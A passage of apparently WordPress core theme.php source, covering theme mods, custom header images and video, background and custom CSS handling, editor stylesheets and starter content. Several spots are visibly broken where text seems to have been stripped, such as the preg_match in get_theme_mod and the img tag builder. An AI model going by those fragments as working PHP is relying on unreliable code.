delete_option( "mods_$theme_name" ); } } if ( ! is_array( $mods ) ) { $mods = array(); } return $mods; } /** * Retrieves theme modification value for the active theme. * * If the modification name does not exist and `$default` is a string, then the * default will be passed through the {@link https://www.php.net/sprintf sprintf()} * PHP function with the template directory URI as the first value and the * stylesheet directory URI as the second value. * * @since 2.1.0 * * @param string $name Theme modification name. * @param mixed $default Optional. Theme modification default value. Default false. * @return mixed Theme modification value. */ function get_theme_mod( $name, $default = false ) { $mods = get_theme_mods(); if ( isset( $mods[ $name ] ) ) { /** * Filters the theme modification, or 'theme_mod', value. * * The dynamic portion of the hook name, `$name`, refers to the key name * of the modification array. For example, 'header_textcolor', 'header_image', * and so on depending on the theme options. * * @since 2.2.0 * * @param mixed $current_mod The value of the active theme modification. */ return apply_filters( "theme_mod_{$name}", $mods[ $name ] ); } if ( is_string( $default ) ) { // Only run the replacement if an sprintf() string format pattern was found. if ( preg_match( '#(?get( 'Name' ); } delete_option( 'mods_' . $theme_name ); } /** * Retrieves the custom header text color in 3- or 6-digit hexadecimal form. * * @since 2.1.0 * * @return string Header text color in 3- or 6-digit hexadecimal form (minus the hash symbol). */ function get_header_textcolor() { return get_theme_mod( 'header_textcolor', get_theme_support( 'custom-header', 'default-text-color' ) ); } /** * Displays the custom header text color in 3- or 6-digit hexadecimal form (minus the hash symbol). * * @since 2.1.0 */ function header_textcolor() { echo get_header_textcolor(); } /** * Whether to display the header text. * * @since 3.4.0 * * @return bool */ function display_header_text() { if ( ! current_theme_supports( 'custom-header', 'header-text' ) ) { return false; } $text_color = get_theme_mod( 'header_textcolor', get_theme_support( 'custom-header', 'default-text-color' ) ); return 'blank' !== $text_color; } /** * Checks whether a header image is set or not. * * @since 4.2.0 * * @see get_header_image() * * @return bool Whether a header image is set or not. */ function has_header_image() { return (bool) get_header_image(); } /** * Retrieves header image for custom header. * * @since 2.1.0 * * @return string|false */ function get_header_image() { $url = get_theme_mod( 'header_image', get_theme_support( 'custom-header', 'default-image' ) ); if ( 'remove-header' === $url ) { return false; } if ( is_random_header_image() ) { $url = get_random_header_image(); } return esc_url_raw( set_url_scheme( $url ) ); } /** * Creates image tag markup for a custom header image. * * @since 4.4.0 * * @param array $attr Optional. Additional attributes for the image tag. Can be used * to override the default attributes. Default empty. * @return string HTML image element markup or empty string on failure. */ function get_header_image_tag( $attr = array() ) { $header = get_custom_header(); $header->url = get_header_image(); if ( ! $header->url ) { return ''; } $width = absint( $header->width ); $height = absint( $header->height ); $alt = ''; // Use alternative text assigned to the image, if available. Otherwise, leave it empty. if ( ! empty( $header->attachment_id ) ) { $image_alt = get_post_meta( $header->attachment_id, '_wp_attachment_image_alt', true ); if ( is_string( $image_alt ) ) { $alt = $image_alt; } } $attr = wp_parse_args( $attr, array( 'src' => $header->url, 'width' => $width, 'height' => $height, 'alt' => $alt, ) ); // Generate 'srcset' and 'sizes' if not already present. if ( empty( $attr['srcset'] ) && ! empty( $header->attachment_id ) ) { $image_meta = get_post_meta( $header->attachment_id, '_wp_attachment_metadata', true ); $size_array = array( $width, $height ); if ( is_array( $image_meta ) ) { $srcset = wp_calculate_image_srcset( $size_array, $header->url, $image_meta, $header->attachment_id ); if ( ! empty( $attr['sizes'] ) ) { $sizes = $attr['sizes']; } else { $sizes = wp_calculate_image_sizes( $size_array, $header->url, $image_meta, $header->attachment_id ); } if ( $srcset && $sizes ) { $attr['srcset'] = $srcset; $attr['sizes'] = $sizes; } } } /** * Filters the list of header image attributes. * * @since 5.9.0 * * @param array $attr Array of the attributes for the image tag. * @param object $header The custom header object returned by 'get_custom_header()'. */ $attr = apply_filters( 'get_header_image_tag_attributes', $attr, $header ); $attr = array_map( 'esc_attr', $attr ); $html = ' $value ) { $html .= ' ' . $name . '="' . $value . '"'; } $html .= ' />'; /** * Filters the markup of header images. * * @since 4.4.0 * * @param string $html The HTML image tag markup being filtered. * @param object $header The custom header object returned by 'get_custom_header()'. * @param array $attr Array of the attributes for the image tag. */ return apply_filters( 'get_header_image_tag', $html, $header, $attr ); } /** * Displays the image markup for a custom header image. * * @since 4.4.0 * * @param array $attr Optional. Attributes for the image markup. Default empty. */ function the_header_image_tag( $attr = array() ) { echo get_header_image_tag( $attr ); } /** * Gets random header image data from registered images in theme. * * @since 3.4.0 * * @access private * * @global array $_wp_default_headers * * @return object */ function _get_random_header_data() { global $_wp_default_headers; static $_wp_random_header = null; if ( empty( $_wp_random_header ) ) { $header_image_mod = get_theme_mod( 'header_image', '' ); $headers = array(); if ( 'random-uploaded-image' === $header_image_mod ) { $headers = get_uploaded_header_images(); } elseif ( ! empty( $_wp_default_headers ) ) { if ( 'random-default-image' === $header_image_mod ) { $headers = $_wp_default_headers; } else { if ( current_theme_supports( 'custom-header', 'random-default' ) ) { $headers = $_wp_default_headers; } } } if ( empty( $headers ) ) { return new stdClass; } $_wp_random_header = (object) $headers[ array_rand( $headers ) ]; $_wp_random_header->url = sprintf( $_wp_random_header->url, get_template_directory_uri(), get_stylesheet_directory_uri() ); $_wp_random_header->thumbnail_url = sprintf( $_wp_random_header->thumbnail_url, get_template_directory_uri(), get_stylesheet_directory_uri() ); } return $_wp_random_header; } /** * Gets random header image URL from registered images in theme. * * @since 3.2.0 * * @return string Path to header image. */ function get_random_header_image() { $random_image = _get_random_header_data(); if ( empty( $random_image->url ) ) { return ''; } return $random_image->url; } /** * Checks if random header image is in use. * * Always true if user expressly chooses the option in Appearance > Header. * Also true if theme has multiple header images registered, no specific header image * is chosen, and theme turns on random headers with add_theme_support(). * * @since 3.2.0 * * @param string $type The random pool to use. Possible values include 'any', * 'default', 'uploaded'. Default 'any'. * @return bool */ function is_random_header_image( $type = 'any' ) { $header_image_mod = get_theme_mod( 'header_image', get_theme_support( 'custom-header', 'default-image' ) ); if ( 'any' === $type ) { if ( 'random-default-image' === $header_image_mod || 'random-uploaded-image' === $header_image_mod || ( '' !== get_random_header_image() && empty( $header_image_mod ) ) ) { return true; } } else { if ( "random-$type-image" === $header_image_mod ) { return true; } elseif ( 'default' === $type && empty( $header_image_mod ) && '' !== get_random_header_image() ) { return true; } } return false; } /** * Displays header image URL. * * @since 2.1.0 */ function header_image() { $image = get_header_image(); if ( $image ) { echo esc_url( $image ); } } /** * Gets the header images uploaded for the active theme. * * @since 3.2.0 * * @return array */ function get_uploaded_header_images() { $header_images = array(); // @todo Caching. $headers = get_posts( array( 'post_type' => 'attachment', 'meta_key' => '_wp_attachment_is_custom_header', 'meta_value' => get_option( 'stylesheet' ), 'orderby' => 'none', 'nopaging' => true, ) ); if ( empty( $headers ) ) { return array(); } foreach ( (array) $headers as $header ) { $url = esc_url_raw( wp_get_attachment_url( $header->ID ) ); $header_data = wp_get_attachment_metadata( $header->ID ); $header_index = $header->ID; $header_images[ $header_index ] = array(); $header_images[ $header_index ]['attachment_id'] = $header->ID; $header_images[ $header_index ]['url'] = $url; $header_images[ $header_index ]['thumbnail_url'] = $url; $header_images[ $header_index ]['alt_text'] = get_post_meta( $header->ID, '_wp_attachment_image_alt', true ); if ( isset( $header_data['attachment_parent'] ) ) { $header_images[ $header_index ]['attachment_parent'] = $header_data['attachment_parent']; } else { $header_images[ $header_index ]['attachment_parent'] = ''; } if ( isset( $header_data['width'] ) ) { $header_images[ $header_index ]['width'] = $header_data['width']; } if ( isset( $header_data['height'] ) ) { $header_images[ $header_index ]['height'] = $header_data['height']; } } return $header_images; } /** * Gets the header image data. * * @since 3.4.0 * * @global array $_wp_default_headers * * @return object */ function get_custom_header() { global $_wp_default_headers; if ( is_random_header_image() ) { $data = _get_random_header_data(); } else { $data = get_theme_mod( 'header_image_data' ); if ( ! $data && current_theme_supports( 'custom-header', 'default-image' ) ) { $directory_args = array( get_template_directory_uri(), get_stylesheet_directory_uri() ); $data = array(); $data['url'] = vsprintf( get_theme_support( 'custom-header', 'default-image' ), $directory_args ); $data['thumbnail_url'] = $data['url']; if ( ! empty( $_wp_default_headers ) ) { foreach ( (array) $_wp_default_headers as $default_header ) { $url = vsprintf( $default_header['url'], $directory_args ); if ( $data['url'] == $url ) { $data = $default_header; $data['url'] = $url; $data['thumbnail_url'] = vsprintf( $data['thumbnail_url'], $directory_args ); break; } } } } } $default = array( 'url' => '', 'thumbnail_url' => '', 'width' => get_theme_support( 'custom-header', 'width' ), 'height' => get_theme_support( 'custom-header', 'height' ), 'video' => get_theme_support( 'custom-header', 'video' ), ); return (object) wp_parse_args( $data, $default ); } /** * Registers a selection of default headers to be displayed by the custom header admin UI. * * @since 3.0.0 * * @global array $_wp_default_headers * * @param array $headers Array of headers keyed by a string ID. The IDs point to arrays * containing 'url', 'thumbnail_url', and 'description' keys. */ function register_default_headers( $headers ) { global $_wp_default_headers; $_wp_default_headers = array_merge( (array) $_wp_default_headers, (array) $headers ); } /** * Unregisters default headers. * * This function must be called after register_default_headers() has already added the * header you want to remove. * * @see register_default_headers() * @since 3.0.0 * * @global array $_wp_default_headers * * @param string|array $header The header string id (key of array) to remove, or an array thereof. * @return bool|void A single header returns true on success, false on failure. * There is currently no return value for multiple headers. */ function unregister_default_headers( $header ) { global $_wp_default_headers; if ( is_array( $header ) ) { array_map( 'unregister_default_headers', $header ); } elseif ( isset( $_wp_default_headers[ $header ] ) ) { unset( $_wp_default_headers[ $header ] ); return true; } else { return false; } } /** * Checks whether a header video is set or not. * * @since 4.7.0 * * @see get_header_video_url() * * @return bool Whether a header video is set or not. */ function has_header_video() { return (bool) get_header_video_url(); } /** * Retrieves header video URL for custom header. * * Uses a local video if present, or falls back to an external video. * * @since 4.7.0 * * @return string|false Header video URL or false if there is no video. */ function get_header_video_url() { $id = absint( get_theme_mod( 'header_video' ) ); if ( $id ) { // Get the file URL from the attachment ID. $url = wp_get_attachment_url( $id ); } else { $url = get_theme_mod( 'external_header_video' ); } /** * Filters the header video URL. * * @since 4.7.3 * * @param string $url Header video URL, if available. */ $url = apply_filters( 'get_header_video_url', $url ); if ( ! $id && ! $url ) { return false; } return esc_url_raw( set_url_scheme( $url ) ); } /** * Displays header video URL. * * @since 4.7.0 */ function the_header_video_url() { $video = get_header_video_url(); if ( $video ) { echo esc_url( $video ); } } /** * Retrieves header video settings. * * @since 4.7.0 * * @return array */ function get_header_video_settings() { $header = get_custom_header(); $video_url = get_header_video_url(); $video_type = wp_check_filetype( $video_url, wp_get_mime_types() ); $settings = array( 'mimeType' => '', 'posterUrl' => get_header_image(), 'videoUrl' => $video_url, 'width' => absint( $header->width ), 'height' => absint( $header->height ), 'minWidth' => 900, 'minHeight' => 500, 'l10n' => array( 'pause' => __( 'Pause' ), 'play' => __( 'Play' ), 'pauseSpeak' => __( 'Video is paused.' ), 'playSpeak' => __( 'Video is playing.' ), ), ); if ( preg_match( '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#', $video_url ) ) { $settings['mimeType'] = 'video/x-youtube'; } elseif ( ! empty( $video_type['type'] ) ) { $settings['mimeType'] = $video_type['type']; } /** * Filters header video settings. * * @since 4.7.0 * * @param array $settings An array of header video settings. */ return apply_filters( 'header_video_settings', $settings ); } /** * Checks whether a custom header is set or not. * * @since 4.7.0 * * @return bool True if a custom header is set. False if not. */ function has_custom_header() { if ( has_header_image() || ( has_header_video() && is_header_video_active() ) ) { return true; } return false; } /** * Checks whether the custom header video is eligible to show on the current page. * * @since 4.7.0 * * @return bool True if the custom header video should be shown. False if not. */ function is_header_video_active() { if ( ! get_theme_support( 'custom-header', 'video' ) ) { return false; } $video_active_cb = get_theme_support( 'custom-header', 'video-active-callback' ); if ( empty( $video_active_cb ) || ! is_callable( $video_active_cb ) ) { $show_video = true; } else { $show_video = call_user_func( $video_active_cb ); } /** * Filters whether the custom header video is eligible to show on the current page. * * @since 4.7.0 * * @param bool $show_video Whether the custom header video should be shown. Returns the value * of the theme setting for the `custom-header`'s `video-active-callback`. * If no callback is set, the default value is that of `is_front_page()`. */ return apply_filters( 'is_header_video_active', $show_video ); } /** * Retrieves the markup for a custom header. * * The container div will always be returned in the Customizer preview. * * @since 4.7.0 * * @return string The markup for a custom header on success. */ function get_custom_header_markup() { if ( ! has_custom_header() && ! is_customize_preview() ) { return ''; } return sprintf( '
%s
', get_header_image_tag() ); } /** * Prints the markup for a custom header. * * A container div will always be printed in the Customizer preview. * * @since 4.7.0 */ function the_custom_header_markup() { $custom_header = get_custom_header_markup(); if ( empty( $custom_header ) ) { return; } echo $custom_header; if ( is_header_video_active() && ( has_header_video() || is_customize_preview() ) ) { wp_enqueue_script( 'wp-custom-header' ); wp_localize_script( 'wp-custom-header', '_wpCustomHeaderSettings', get_header_video_settings() ); } } /** * Retrieves background image for custom background. * * @since 3.0.0 * * @return string */ function get_background_image() { return get_theme_mod( 'background_image', get_theme_support( 'custom-background', 'default-image' ) ); } /** * Displays background image path. * * @since 3.0.0 */ function background_image() { echo get_background_image(); } /** * Retrieves value for custom background color. * * @since 3.0.0 * * @return string */ function get_background_color() { return get_theme_mod( 'background_color', get_theme_support( 'custom-background', 'default-color' ) ); } /** * Displays background color value. * * @since 3.0.0 */ function background_color() { echo get_background_color(); } /** * Default custom background callback. * * @since 3.0.0 */ function _custom_background_cb() { // $background is the saved custom image, or the default image. $background = set_url_scheme( get_background_image() ); // $color is the saved custom color. // A default has to be specified in style.css. It will not be printed here. $color = get_background_color(); if ( get_theme_support( 'custom-background', 'default-color' ) === $color ) { $color = false; } $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; if ( ! $background && ! $color ) { if ( is_customize_preview() ) { printf( '', $type_attr ); } return; } $style = $color ? "background-color: #$color;" : ''; if ( $background ) { $image = ' background-image: url("' . esc_url_raw( $background ) . '");'; // Background Position. $position_x = get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) ); $position_y = get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) ); if ( ! in_array( $position_x, array( 'left', 'center', 'right' ), true ) ) { $position_x = 'left'; } if ( ! in_array( $position_y, array( 'top', 'center', 'bottom' ), true ) ) { $position_y = 'top'; } $position = " background-position: $position_x $position_y;"; // Background Size. $size = get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ); if ( ! in_array( $size, array( 'auto', 'contain', 'cover' ), true ) ) { $size = 'auto'; } $size = " background-size: $size;"; // Background Repeat. $repeat = get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ); if ( ! in_array( $repeat, array( 'repeat-x', 'repeat-y', 'repeat', 'no-repeat' ), true ) ) { $repeat = 'repeat'; } $repeat = " background-repeat: $repeat;"; // Background Scroll. $attachment = get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) ); if ( 'fixed' !== $attachment ) { $attachment = 'scroll'; } $attachment = " background-attachment: $attachment;"; $style .= $image . $position . $size . $repeat . $attachment; } ?> id="custom-background-css"> body.custom-background { } id="wp-custom-css"> 'custom_css', 'post_status' => get_post_stati(), 'name' => sanitize_title( $stylesheet ), 'posts_per_page' => 1, 'no_found_rows' => true, 'cache_results' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'lazy_load_term_meta' => false, ); $post = null; if ( get_stylesheet() === $stylesheet ) { $post_id = get_theme_mod( 'custom_css_post_id' ); if ( $post_id > 0 && get_post( $post_id ) ) { $post = get_post( $post_id ); } // `-1` indicates no post exists; no query necessary. if ( ! $post && -1 !== $post_id ) { $query = new WP_Query( $custom_css_query_vars ); $post = $query->post; /* * Cache the lookup. See wp_update_custom_css_post(). * @todo This should get cleared if a custom_css post is added/removed. */ set_theme_mod( 'custom_css_post_id', $post ? $post->ID : -1 ); } } else { $query = new WP_Query( $custom_css_query_vars ); $post = $query->post; } return $post; } /** * Fetches the saved Custom CSS content for rendering. * * @since 4.7.0 * * @param string $stylesheet Optional. A theme object stylesheet name. Defaults to the active theme. * @return string The Custom CSS Post content. */ function wp_get_custom_css( $stylesheet = '' ) { $css = ''; if ( empty( $stylesheet ) ) { $stylesheet = get_stylesheet(); } $post = wp_get_custom_css_post( $stylesheet ); if ( $post ) { $css = $post->post_content; } /** * Filters the custom CSS output into the head element. * * @since 4.7.0 * * @param string $css CSS pulled in from the Custom CSS post type. * @param string $stylesheet The theme stylesheet name. */ $css = apply_filters( 'wp_get_custom_css', $css, $stylesheet ); return $css; } /** * Updates the `custom_css` post for a given theme. * * Inserts a `custom_css` post when one doesn't yet exist. * * @since 4.7.0 * * @param string $css CSS, stored in `post_content`. * @param array $args { * Args. * * @type string $preprocessed Optional. Pre-processed CSS, stored in `post_content_filtered`. * Normally empty string. * @type string $stylesheet Optional. Stylesheet (child theme) to update. * Defaults to active theme/stylesheet. * } * @return WP_Post|WP_Error Post on success, error on failure. */ function wp_update_custom_css_post( $css, $args = array() ) { $args = wp_parse_args( $args, array( 'preprocessed' => '', 'stylesheet' => get_stylesheet(), ) ); $data = array( 'css' => $css, 'preprocessed' => $args['preprocessed'], ); /** * Filters the `css` (`post_content`) and `preprocessed` (`post_content_filtered`) args * for a `custom_css` post being updated. * * This filter can be used by plugin that offer CSS pre-processors, to store the original * pre-processed CSS in `post_content_filtered` and then store processed CSS in `post_content`. * When used in this way, the `post_content_filtered` should be supplied as the setting value * instead of `post_content` via a the `customize_value_custom_css` filter, for example: * * * add_filter( 'customize_value_custom_css', function( $value, $setting ) { * $post = wp_get_custom_css_post( $setting->stylesheet ); * if ( $post && ! empty( $post->post_content_filtered ) ) { * $css = $post->post_content_filtered; * } * return $css; * }, 10, 2 ); * * * @since 4.7.0 * @param array $data { * Custom CSS data. * * @type string $css CSS stored in `post_content`. * @type string $preprocessed Pre-processed CSS stored in `post_content_filtered`. * Normally empty string. * } * @param array $args { * The args passed into `wp_update_custom_css_post()` merged with defaults. * * @type string $css The original CSS passed in to be updated. * @type string $preprocessed The original preprocessed CSS passed in to be updated. * @type string $stylesheet The stylesheet (theme) being updated. * } */ $data = apply_filters( 'update_custom_css_data', $data, array_merge( $args, compact( 'css' ) ) ); $post_data = array( 'post_title' => $args['stylesheet'], 'post_name' => sanitize_title( $args['stylesheet'] ), 'post_type' => 'custom_css', 'post_status' => 'publish', 'post_content' => $data['css'], 'post_content_filtered' => $data['preprocessed'], ); // Update post if it already exists, otherwise create a new one. $post = wp_get_custom_css_post( $args['stylesheet'] ); if ( $post ) { $post_data['ID'] = $post->ID; $r = wp_update_post( wp_slash( $post_data ), true ); } else { $r = wp_insert_post( wp_slash( $post_data ), true ); if ( ! is_wp_error( $r ) ) { if ( get_stylesheet() === $args['stylesheet'] ) { set_theme_mod( 'custom_css_post_id', $r ); } // Trigger creation of a revision. This should be removed once #30854 is resolved. if ( 0 === count( wp_get_post_revisions( $r ) ) ) { wp_save_post_revision( $r ); } } } if ( is_wp_error( $r ) ) { return $r; } return get_post( $r ); } /** * Adds callback for custom TinyMCE editor stylesheets. * * The parameter $stylesheet is the name of the stylesheet, relative to * the theme root. It also accepts an array of stylesheets. * It is optional and defaults to 'editor-style.css'. * * This function automatically adds another stylesheet with -rtl prefix, e.g. editor-style-rtl.css. * If that file doesn't exist, it is removed before adding the stylesheet(s) to TinyMCE. * If an array of stylesheets is passed to add_editor_style(), * RTL is only added for the first stylesheet. * * Since version 3.4 the TinyMCE body has .rtl CSS class. * It is a better option to use that class and add any RTL styles to the main stylesheet. * * @since 3.0.0 * * @global array $editor_styles * * @param array|string $stylesheet Optional. Stylesheet name or array thereof, relative to theme root. * Defaults to 'editor-style.css' */ function add_editor_style( $stylesheet = 'editor-style.css' ) { global $editor_styles; add_theme_support( 'editor-style' ); $editor_styles = (array) $editor_styles; $stylesheet = (array) $stylesheet; if ( is_rtl() ) { $rtl_stylesheet = str_replace( '.css', '-rtl.css', $stylesheet[0] ); $stylesheet[] = $rtl_stylesheet; } $editor_styles = array_merge( $editor_styles, $stylesheet ); } /** * Removes all visual editor stylesheets. * * @since 3.1.0 * * @global array $editor_styles * * @return bool True on success, false if there were no stylesheets to remove. */ function remove_editor_styles() { if ( ! current_theme_supports( 'editor-style' ) ) { return false; } _remove_theme_support( 'editor-style' ); if ( is_admin() ) { $GLOBALS['editor_styles'] = array(); } return true; } /** * Retrieves any registered editor stylesheet URLs. * * @since 4.0.0 * * @global array $editor_styles Registered editor stylesheets * * @return string[] If registered, a list of editor stylesheet URLs. */ function get_editor_stylesheets() { $stylesheets = array(); // Load editor_style.css if the active theme supports it. if ( ! empty( $GLOBALS['editor_styles'] ) && is_array( $GLOBALS['editor_styles'] ) ) { $editor_styles = $GLOBALS['editor_styles']; $editor_styles = array_unique( array_filter( $editor_styles ) ); $style_uri = get_stylesheet_directory_uri(); $style_dir = get_stylesheet_directory(); // Support externally referenced styles (like, say, fonts). foreach ( $editor_styles as $key => $file ) { if ( preg_match( '~^(https?:)?//~', $file ) ) { $stylesheets[] = esc_url_raw( $file ); unset( $editor_styles[ $key ] ); } } // Look in a parent theme first, that way child theme CSS overrides. if ( is_child_theme() ) { $template_uri = get_template_directory_uri(); $template_dir = get_template_directory(); foreach ( $editor_styles as $key => $file ) { if ( $file && file_exists( "$template_dir/$file" ) ) { $stylesheets[] = "$template_uri/$file"; } } } foreach ( $editor_styles as $file ) { if ( $file && file_exists( "$style_dir/$file" ) ) { $stylesheets[] = "$style_uri/$file"; } } } /** * Filters the array of URLs of stylesheets applied to the editor. * * @since 4.3.0 * * @param string[] $stylesheets Array of URLs of stylesheets to be applied to the editor. */ return apply_filters( 'editor_stylesheets', $stylesheets ); } /** * Expands a theme's starter content configuration using core-provided data. * * @since 4.7.0 * * @return array Array of starter content. */ function get_theme_starter_content() { $theme_support = get_theme_support( 'starter-content' ); if ( is_array( $theme_support ) && ! empty( $theme_support[0] ) && is_array( $theme_support[0] ) ) { $config = $theme_support[0]; } else { $config = array(); } $core_content = array( 'widgets' => array( 'text_business_info' => array( 'text', array( 'title' => _x( 'Find Us', 'Theme starter content' ), 'text' => implode( '', array( '' . _x( 'Address', 'Theme starter content' ) . "\n", _x( '123 Main Street', 'Theme starter content' ) . "\n", _x( 'New York, NY 10001', 'Theme starter content' ) . "\n\n", '' . _x( 'Hours', 'Theme starter content' ) . "\n", _x( 'Monday–Friday: 9:00AM–5:00PM', 'Theme starter content' ) . "\n", _x( 'Saturday & Sunday: 11:00AM–3:00PM', 'Theme starter content' ), ) ), 'filter' => true, 'visual' => true, ), ), 'text_about' => array( 'text', array( 'title' => _x( 'About This Site', 'Theme starter content' ), 'text' => _x( 'This may be a good place to introduce yourself and your site or include some credits.', 'Theme starter content' ), 'filter' => true, 'visual' => true, ), ), 'archives' => array( 'archives', array( 'title' => _x( 'Archives', 'Theme starter content' ), ), ), 'calendar' => array( 'calendar', array( 'title' => _x( 'Calendar', 'Theme starter content' ), ), ), 'categories' => array( 'categories', array( 'title' => _x( 'Categories', 'Theme starter content' ), ), ), 'meta' => array( 'meta', array( 'title' => _x( 'Meta', 'Theme starter content' ), ), ), 'recent-comments' => array( 'recent-comments', array( 'title' => _x( 'Recent Comments', 'Theme starter content' ), ), ), 'recent-posts' => array( 'recent-posts', array( 'title' => _x( 'Recent Posts', 'Theme starter content' ), ), ), 'search' => array( 'search', array( 'title' => _x( 'Search', 'Theme starter content' ), ), ), ), 'nav_menus' => array( 'link_home' => array( 'type' => 'custom', 'title' => _x( 'Home', 'Theme starter content' ), 'url' => home_url( '/' ), ), 'page_home' => array( // Deprecated in favor of 'link_home'. 'type' => 'post_type', 'object' => 'page', 'object_id' => '{{home}}', ), 'page_about' => array( 'type' => 'post_type', 'object' => 'page', 'object_id' => '{{about}}', ), 'page_blog' => array( 'type' => 'post_type', 'object' => 'page', 'object_id' => '{{blog}}', ), 'page_news' => array( 'type' => 'post_type', 'object' => 'page', 'object_id' => '{{news}}', ), 'page_contact' => array( 'type' => 'post_type', 'object' => 'page', 'object_id' => '{{contact}}', ), 'link_email' => array( 'title' => _x( 'Email', 'Theme starter content' ), 'url' => 'mailto:wordpress@example.com', ), 'link_facebook' => array( 'title' => _x( 'Facebook', 'Theme starter content' ), 'url' => 'https://www.facebook.com/wordpress', ), 'link_foursquare' => array( 'title' => _x( 'Foursquare', 'Theme starter content' ), 'url' => 'https://foursquare.com/', ), 'link_github' => array( 'title' => _x( 'GitHub', 'Theme starter content' ), 'url' => 'https://github.com/wordpress/', ), 'link_instagram' => array( 'title' => _x( 'Instagram', 'Theme starter content' ), 'url' => 'https://www.instagram.com/explore/tags/wordcamp/', ), 'link_linkedin' => array( 'title' => _x( 'LinkedIn', 'Theme starter content' ), 'url' => 'https://www.linkedin.com/company/1089783', ), 'link_pinterest' => array( 'title' => _x( 'Pinterest', 'Theme starter content' ), 'url' => 'https://www.pinterest.com/', ), 'link_twitter' => array( 'title' => _x( 'Twitter', 'Theme starter content' ), 'url' => 'https://twitter.com/wordpress', ), 'link_yelp' => array( 'title' => _x( 'Yelp', 'Theme starter content' ), 'url' => 'https://www.yelp.com', ), 'link_youtube' => array( 'title' => _x( 'YouTube', 'Theme starter content' ), 'url' => 'https://www.youtube.com/channel/UCdof4Ju7amm1chz1gi1T2ZA', ), ), 'posts' => array( 'home' => array( 'post_type' => 'page', 'post_title' => _x( 'Home', 'Theme starter content' ), 'post_content' => sprintf( "\n

%s

\n", _x( 'Welcome to your site! This is your homepage, which is what most visitors will see when they come to your site for the first time.', 'Theme starter content' ) ), ), 'about' => array( 'post_type' => 'page', 'post_title' => _x( 'About', 'Theme starter content' ), 'post_content' => sprintf( "\n

%s

\n", _x( 'You might be an artist who would like to introduce yourself and your work here or maybe you’re a business with a mission to describe.', 'Theme starter content' ) ), ), 'contact' => array( 'post_type' => 'page', 'post_title' => _x( 'Contact', 'Theme starter content' ), 'post_content' => sprintf( "\n

%s

\n", _x( 'This is a page with some basic contact information, such as an address and phone number. You might also try a plugin to add a contact form.', 'Theme starter content' ) ), ), 'blog' => array( 'post_type' => 'page', 'post_title' => _x( 'Blog', 'Theme starter content' ), ), 'news' => array( 'post_type' => 'page', 'post_title' => _x( 'News', 'Theme starter content' ), ), 'homepage-section' => array( 'post_type' => 'page', 'post_title' => _x( 'A homepage section', 'Theme starter content' ), 'post_content' => sprintf( "\n

%s

\n", _x( 'This is an example of a homepage section. Homepage sections can be any page other than the homepage itself, including the page that shows your latest blog posts.', 'Theme starter content' ) ), ), ), ); $content = array(); foreach ( $config as $type => $args ) { switch ( $type ) { // Use options and theme_mods as-is. case 'options': case 'theme_mods': $content[ $type ] = $config[ $type ]; break; // Widgets are grouped into sidebars. case 'widgets': foreach ( $config[ $type ] as $sidebar_id => $widgets ) { foreach ( $widgets as $id => $widget ) { if ( is_array( $widget ) ) { // Item extends core content. if ( ! empty( $core_content[ $type ][ $id ] ) ) { $widget = array( $core_content[ $type ][ $id ][0], array_merge( $core_content[ $type ][ $id ][1], $widget ), ); } $content[ $type ][ $sidebar_id ][] = $widget; } elseif ( is_string( $widget ) && ! empty( $core_content[ $type ] ) && ! empty( $core_content[ $type ][ $widget ] ) ) { $content[ $type ][ $sidebar_id ][] = $core_content[ $type ][ $widget ]; } } } break; // And nav menu items are grouped into nav menus. case 'nav_menus': foreach ( $config[ $type ] as $nav_menu_location => $nav_menu ) { // Ensure nav menus get a name. if ( empty( $nav_menu['name'] ) ) { $nav_menu['name'] = $nav_menu_location; } $content[ $type ][ $nav_menu_location ]['name'] = $nav_menu['name']; foreach ( $nav_menu['items'] as $id => $nav_menu_item ) { if ( is_array( $nav_menu_item ) ) { // Item extends core content. if ( ! empty( $core_content[ $type ][ $id ] ) ) { $nav_menu_item = array_merge( $core_content[ $type ][ $id ], $nav_menu_item ); } $content[ $type ][ $nav_menu_location ]['items'][] = $nav_menu_item; } elseif ( is_string( $nav_menu_item ) && ! empty( $core_content[ $type ] ) && ! empty( $core_content[ $type ][ $nav_menu_item ] ) ) { $content[ $type ][ $nav_menu_location ]['items'][] = $core_content[ $type ][ $nav_menu_item ]; } } } break; // Attachments are posts but have special treatment. case 'attachments': foreach ( $config[ $type ] as $id => $item ) { if ( ! empty( $item['file'] ) ) { $content[ $type ][ $id ] = $item; } } break; // All that's left now are posts (besides attachments). // Not a default case for the sake of clarity and future work. case 'posts': foreach ( $config[ $type ] as $id => $item ) { if ( is_array( $item ) ) { // Item extends core content. if ( ! empty( $core_content[ $type ][ $id ] ) ) { $item = array_merge( $core_content[ $type ][ $id ], $item ); } // Enforce a subset of fields. $content[ $type ][ $id ] = wp_array_slice_assoc( $item, array( 'post_type', 'post_title', 'post_excerpt', 'post_name', 'post_content', 'menu_order', 'comment_status', 'thumbnail', 'template', ) ); } elseif ( is_string( $item ) && ! empty( $core_content[ $type ][ $item ] ) ) { $content[ $type ][ $item ] = $core_content[ $type ][ $item ]; } } break; } } /** * Filters the expanded array of starter content. * * @since 4.7.0 * * @param array $content Array of starter content. * @param array $config Array of theme-specific starter content configuration. */ return apply_filters( 'get_theme_starter_content', $content, $config ); } /** * Registers theme support for a given feature. * * Must be called in the theme's functions.php file to work. * If attached to a hook, it must be {@see 'after_setup_theme'}. * The {@see 'init'} hook may be too late for some features. * * Example usage: * * add_theme_support( 'title-tag' ); * add_theme_support( 'custom-logo', array( * 'height' => 480, * 'width' => 720, * ) ); * * @since 2.9.0 * @since 3.4.0 The `custom-header-uploads` feature was deprecated. * @since 3.6.0 The `html5` feature was added. * @since 3.9.0 The `html5` feature now also accepts 'gallery' and 'caption'. * @since 4.1.0 The `title-tag` feature was added. * @since 4.5.0 The `customize-selective-refresh-widgets` feature was added. * @since 4.7.0 The `starter-content` feature was added. * @since 5.0.0 The `responsive-embeds`, `align-wide`, `dark-editor-style`, `disable-custom-colors`, * `disable-custom-font-sizes`, `editor-color-palette`, `editor-font-sizes`, * `editor-styles`, and `wp-block-styles` features were added. * @since 5.3.0 The `html5` feature now also accepts 'script' and 